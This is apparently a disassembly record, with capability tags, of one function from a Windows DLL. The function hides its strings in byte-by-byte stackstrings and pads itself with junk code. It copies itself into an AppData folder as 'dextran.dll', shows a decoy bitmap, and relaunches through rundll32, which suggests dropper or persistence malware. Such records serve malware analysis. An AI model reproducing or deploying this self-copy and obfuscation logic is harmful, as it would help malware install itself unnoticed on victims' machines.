Function at 0x10020c20
Capabilities:
Contain obfuscated stackstrings
Copy file
Create directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5d0
mov eax, dword [0x1002bb1c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push ebp
nop
mov ebp, esp
push 0x3a0f
inc ecx
dec ecx
test esi, esi
nop
mov esp, ebp
nop
pop ebp
add eax, 0
jne 0x10020c50
je 0x10020c50
call 0x6502ccd7
add eax, 0
push ebp
nop
mov ebp, esp
add esp, 0x29
add esp, 0xffffffd7
add esp, 0x5b
add esp, 0xffffffa5
test esi, esi
inc ecx
dec ecx
mov esp, ebp
pop ebp
push ebp
nop
mov ebp, esp
add esp, 0xe
add esp, 0xfffffff2
inc ecx
dec ecx
add esp, 0x3d
sub esp, 0x3d
inc ecx
dec ecx
nop
mov esp, ebp
pop ebp
nop
nop
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.PathRemoveFileSpecA
push str.Shlwapi.dll
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
mov dword [ebp - 0x5d0], eax
nop
push 0x10023908
push str.kernel32
call esi
push eax
call edi
mov ebx, eax
mov dword [ebp - 0x5c4], ebx
nop
push str.ExpandEnvironmentStringsA
push str.kernel32
call esi
push eax
call edi
mov dword [ebp - 0x5cc], eax
call fcn.10020bf0
push 0x104
push 0x1002cf58
push eax
mov dword [ebp - 0x5c8], eax
call ebx
nop
push ebp
nop
mov ebp, esp
add esp, 0x1f
sub esp, 0x1f
inc ecx
dec ecx
add esp, 0x47
add esp, 0xffffffb9
mov esp, ebp
pop ebp
push 0x1002cf58
call fcn.1002069d
mov eax, dword [str.dextran.dll]
mov ecx, dword [0x100238d4]
mov edx, dword [0x100238d8]
mov dword [ebp - 0x48], eax
mov eax, dword [0x100238dc]
add esp, 4
mov dword [ebp - 0x44], ecx
mov dword [ebp - 0x40], edx
mov dword [ebp - 0x3c], eax
add esp, 4
add esp, 0xfffffffc
add esp, 9
add esp, 0xfffffff7
inc ecx
dec ecx
mov ecx, dword [0x100238c4]
mov edx, dword [0x100238c8]
xor eax, eax
mov dword [ebp - 0x17], eax
mov dword [ebp - 0x13], eax
mov word [ebp - 0xf], ax
mov byte [ebp - 0xd], al
mov ax, word [0x100238cc]
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x14], edx
mov word [ebp - 0x10], ax
push ebp
nop
mov ebp, esp
push ebx
pop ebx
inc ecx
dec ecx
test esi, esi
add esp, 4
add esp, 0xfffffffc
mov esp, ebp
nop
pop ebp
lea ecx, [ebp - 0x48]
push ecx
push 0x1002cf58
call fcn.1000f910
add esp, 8
test eax, eax
jne 0x1002139e
nop
push ebp
mov ebp, esp
add esp, 0x1f
add esp, 0xffffffe1
add esp, 7
sub esp, 7
test esi, esi
inc ecx
dec ecx
nop
mov esp, ebp
pop ebp
mov dword [ebp - 0x73], eax
mov dword [ebp - 0x6f], eax
mov dword [ebp - 0x6b], eax
mov dword [ebp - 0x67], eax
mov dword [ebp - 0x63], eax
mov dword [ebp - 0x5f], eax
mov dword [ebp - 0x5b], eax
mov word [ebp - 0x57], ax
mov byte [ebp - 0x55], al
mov cl, 0x25
mov al, 0x50
mov byte [ebp - 0x74], cl
mov byte [ebp - 0x73], 0x41
mov byte [ebp - 0x72], al
mov byte [ebp - 0x71], al
mov byte [ebp - 0x70], 0x44
mov byte [ebp - 0x6f], 0x41
mov byte [ebp - 0x6e], 0x54
mov byte [ebp - 0x6d], 0x41
mov byte [ebp - 0x6c], cl
mov byte [ebp - 0x6b], 0x5c
nop
nop
push ebp
nop
mov ebp, esp
test esi, esi
inc ecx
dec ecx
push 0x7043
add esp, 0xa
add esp, 0xfffffff6
nop
mov esp, ebp
pop ebp
lea eax, [ebp - 0x18]
mov esi, eax
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x10020e10
lea edi, [ebp - 0x74]
sub eax, esi
add edi, 0xffffffff
mov cl, byte [edi + 1]
add edi, 1
test cl, cl
jne 0x10020e21
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
nop
nop
push ebp
mov ebp, esp
push 0x109d
inc ecx
dec ecx
nop
mov esp, ebp
nop
pop ebp
push 0x103
lea edx, [ebp - 0x2b7]
push 0
push edx
mov byte [ebp - 0x2b8], 0
call fcn.1000eaa0
add esp, 0xc
push 0x104
lea eax, [ebp - 0x2b8]
push eax
lea ecx, [ebp - 0x74]
push ecx
call dword [ebp - 0x5cc]
push 0
lea edx, [ebp - 0x2b8]
push edx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
nop
push ebp
mov ebp, esp
add esp, 8
sub esp, 8
add esp, 7
add esp, 0xfffffff9
test esi, esi
nop
nop
mov esp, ebp
nop
nop
pop ebp
push 0x103
lea eax, [ebp - 0x4bf]
push 0
push eax
mov byte [ebp - 0x4c0], 0
call fcn.1000eaa0
add esp, 0xc
lea ecx, [ebp - 0x2b8]
push ecx
lea edx, [ebp - 0x4c0]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x48]
push eax
lea ecx, [ebp - 0x4c0]
push ecx
call fcn.100207c0
mov esi, dword [sym.imp.KERNEL32.dll_CopyFileA]
add esp, 8
push 0
lea edx, [ebp - 0x4c0]
push edx
push 0x1002cf58
call esi
xor eax, eax
mov dword [ebp - 0x53], eax
mov dword [ebp - 0x4f], eax
mov word [ebp - 0x4b], ax
mov byte [ebp - 0x49], al
lea eax, [ebp - 0x54]
push eax
lea ecx, [ebp - 0x2b8]
mov bl, 0x65
push ecx
mov byte [ebp - 0x54], 0x5c
mov byte [ebp - 0x53], 0x74
mov byte [ebp - 0x52], bl
mov byte [ebp - 0x51], 0x6d
mov byte [ebp - 0x50], 0x70
call fcn.100207c0
add esp, 8
nop
push ebp
mov ebp, esp
test esi, esi
add esp, 0x3d
sub esp, 0x3d
inc ecx
dec ecx
add esp, 0xf
sub esp, 0xf
mov esp, ebp
nop
pop ebp
push 0x103
lea edx, [ebp - 0x3bb]
push 0
push edx
mov byte [ebp - 0x3bc], 0
call fcn.1000eaa0
add esp, 0xc
push 0xffffffffffffffff
push 0x100238c0
push 0x100238bc
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push 0x104
lea eax, [ebp - 0x3bc]
mov ecx, dword [ebp - 0x5c8]
push eax
push ecx
call dword [ebp - 0x5c4]
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call edi
lea edx, [ebp - 0x3bc]
push 0x5c
push edx
call fcn.1000fad8
mov byte [eax], 0
lea eax, [ebp - 0x54]
push eax
lea ecx, [ebp - 0x3bc]
push ecx
call fcn.100207c0
add esp, 0x10
push 0
lea edx, [ebp - 0x2b8]
push edx
lea eax, [ebp - 0x3bc]
push eax
call esi
xor eax, eax
push 0xffffffffffffffff
push 0x100238b8
mov dword [ebp - 0x27], eax
mov dword [ebp - 0x23], eax
mov dword [ebp - 0x1f], eax
mov dword [ebp - 0xb], eax
push 0x100238b4
push eax
mov word [ebp - 7], ax
mov byte [ebp - 5], al
mov byte [ebp - 0xc], 0x4f
mov byte [ebp - 0xb], 0x70
mov byte [ebp - 0xa], bl
mov byte [ebp - 9], 0x6e
mov word [ebp - 0x1b], ax
mov byte [ebp - 0x19], al
mov byte [ebp - 0x28], 0x53
mov byte [ebp - 0x27], 0x68
mov byte [ebp - 0x26], bl
mov byte [ebp - 0x25], 0x6c
mov byte [ebp - 0x24], 0x6c
mov byte [ebp - 0x23], 0x45
mov byte [ebp - 0x22], 0x78
mov byte [ebp - 0x21], bl
mov byte [ebp - 0x20], 0x63
mov byte [ebp - 0x1f], 0x75
mov byte [ebp - 0x1e], 0x74
mov byte [ebp - 0x1d], bl
mov byte [ebp - 0x1c], 0x41
call dword [sym.imp.USER32.dll_MessageBoxA]
lea ecx, [ebp - 0x28]
push ecx
push str.shell32
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0
mov dword [ebp - 0x5c4], eax
call edi
push 0x1002cf58
call dword [ebp - 0x5d0]
xor eax, eax
mov dword [ebp - 0x53], eax
mov dword [ebp - 0x4f], eax
mov word [ebp - 0x4b], ax
mov byte [ebp - 0x49], al
mov al, 0x62
mov byte [ebp - 0x54], 0x5c
mov byte [ebp - 0x53], al
mov byte [ebp - 0x52], al
mov byte [ebp - 0x51], 0x73
mov byte [ebp - 0x50], 0x2e
mov byte [ebp - 0x4f], al
mov byte [ebp - 0x4e], 0x6d
mov byte [ebp - 0x4d], 0x70
lea edx, [ebp - 0x54]
push edx
push 0x1002cf58
call fcn.100207c0
add esp, 8
push ebp
mov ebp, esp
add esp, 3
sub esp, 3
nop
mov esp, ebp
nop
pop ebp
push 0xff
lea eax, [ebp - 0x1b3]
push 0
push eax
mov byte [ebp - 0x1b4], 0
call fcn.1000eaa0
add esp, 0xc
push ebp
mov ebp, esp
add esp, 1
sub esp, 1
add esp, 0xa
add esp, 0xfffffff6
add esp, 7
sub esp, 7
mov esp, ebp
nop
pop ebp
xor eax, eax
mov dword [ebp - 0x93], eax
mov dword [ebp - 0x8f], eax
mov dword [ebp - 0x8b], eax
mov dl, 0x77
mov dword [ebp - 0x87], eax
mov dword [ebp - 0x83], eax
mov dword [ebp - 0x7f], eax
mov dword [ebp - 0x7b], eax
mov word [ebp - 0x77], ax
mov byte [ebp - 0x75], al
mov byte [ebp - 0x94], 0x73
mov byte [ebp - 0x93], 0x68
mov byte [ebp - 0x92], 0x69
mov byte [ebp - 0x91], 0x6d
mov byte [ebp - 0x90], 0x67
mov byte [ebp - 0x8f], 0x76
mov byte [ebp - 0x8e], dl
mov byte [ebp - 0x8d], 0x2e
mov byte [ebp - 0x8c], 0x64
mov byte [ebp - 0x8b], 0x6c
mov byte [ebp - 0x8a], 0x6c
nop
nop
push ebp
nop
mov ebp, esp
push esi
pop esi
inc ecx
dec ecx
push 0xffffc3b2
nop
mov esp, ebp
pop ebp
mov dword [ebp - 0xab], eax
lea ecx, [ebp - 0x94]
mov dword [ebp - 0xb3], eax
mov dword [ebp - 0xaf], eax
mov dword [ebp - 0xa7], eax
mov dword [ebp - 0xa3], eax
mov byte [ebp - 0xab], dl
push ecx
lea edx, [ebp - 0x1b4]
push edx
mov dword [ebp - 0x9f], eax
mov dword [ebp - 0x9b], eax
mov word [ebp - 0x97], ax
mov byte [ebp - 0x95], al
mov byte [ebp - 0xb4], 0x2c
mov byte [ebp - 0xb3], 0x49
mov byte [ebp - 0xb2], 0x6d
mov byte [ebp - 0xb1], 0x61
mov byte [ebp - 0xb0], 0x67
mov byte [ebp - 0xaf], bl
mov byte [ebp - 0xae], 0x56
mov byte [ebp - 0xad], 0x69
mov byte [ebp - 0xac], bl
mov byte [ebp - 0xaa], 0x5f
mov byte [ebp - 0xa9], 0x46
mov byte [ebp - 0xa8], 0x75
mov byte [ebp - 0xa7], 0x6c
mov byte [ebp - 0xa6], 0x6c
mov byte [ebp - 0xa5], 0x73
mov byte [ebp - 0xa4], 0x63
mov byte [ebp - 0xa3], 0x72
mov byte [ebp - 0xa2], bl
mov byte [ebp - 0xa1], bl
mov byte [ebp - 0xa0], 0x6e
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push ebp
mov ebp, esp
inc ecx
dec ecx
mov esp, ebp
pop ebp
lea eax, [ebp - 0xb4]
push eax
lea ecx, [ebp - 0x1b4]
push ecx
call fcn.100207c0
lea edx, [ebp - 0x1b4]
push 0x10023828
push edx
call fcn.100207c0
lea eax, [ebp - 0x1b4]
push 0x1002cf58
push eax
call fcn.100207c0
xor eax, eax
mov dword [ebp - 0x37], eax
mov dword [ebp - 0x33], eax
mov dword [ebp - 0x2f], eax
add esp, 0x18
mov word [ebp - 0x2b], ax
mov byte [ebp - 0x29], al
mov byte [ebp - 0x38], 0x72
mov byte [ebp - 0x37], 0x75
mov byte [ebp - 0x36], 0x6e
mov byte [ebp - 0x35], 0x64
mov byte [ebp - 0x34], 0x6c
mov byte [ebp - 0x33], 0x6c
mov byte [ebp - 0x32], 0x33
mov byte [ebp - 0x31], 0x32
mov byte [ebp - 0x30], 0x2e
mov byte [ebp - 0x2f], bl
mov byte [ebp - 0x2e], 0x78
mov byte [ebp - 0x2d], bl
nop
push ebp
mov ebp, esp
add esp, 0x13
sub esp, 0x13
test esi, esi
inc ecx
dec ecx
inc ecx
dec ecx
mov esp, ebp
pop ebp
mov esi, dword [ebp - 0x5c4]
push 5
push 0x100238a8
lea ecx, [ebp - 0x1b4]
push ecx
lea edx, [ebp - 0x38]
push edx
lea eax, [ebp - 0xc]
push eax
push 0
call esi
push 0
call edi
push 0xff
lea ecx, [ebp - 0x5bf]
push 0
push ecx
mov byte [ebp - 0x5c0], 0
call fcn.1000eaa0
lea edx, [ebp - 0x18]
push edx
lea eax, [ebp - 0x4c0]
push eax
lea ecx, [ebp - 0x5c0]
push str.__s___s
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x1c
nop
push ebp
nop
mov ebp, esp
inc ecx
dec ecx
test esi, esi
add esp, 0x1d
add esp, 0xffffffe3
mov esp, ebp
pop ebp
push 5
push 0x1002389c
lea edx, [ebp - 0x5c0]
push edx
lea eax, [ebp - 0x38]
push eax
lea ecx, [ebp - 0xc]
push ecx
push 0
call esi
push 0
call edi
push ebp
nop
mov ebp, esp
add esp, 1
sub esp, 1
inc ecx
dec ecx
nop
mov esp, ebp
pop ebp
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1000f8f7
mov esp, ebp
pop ebp
ret
push 0
call fcn.10020840
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x100213b0
push 0xbb8
call esi
jmp 0x100213b0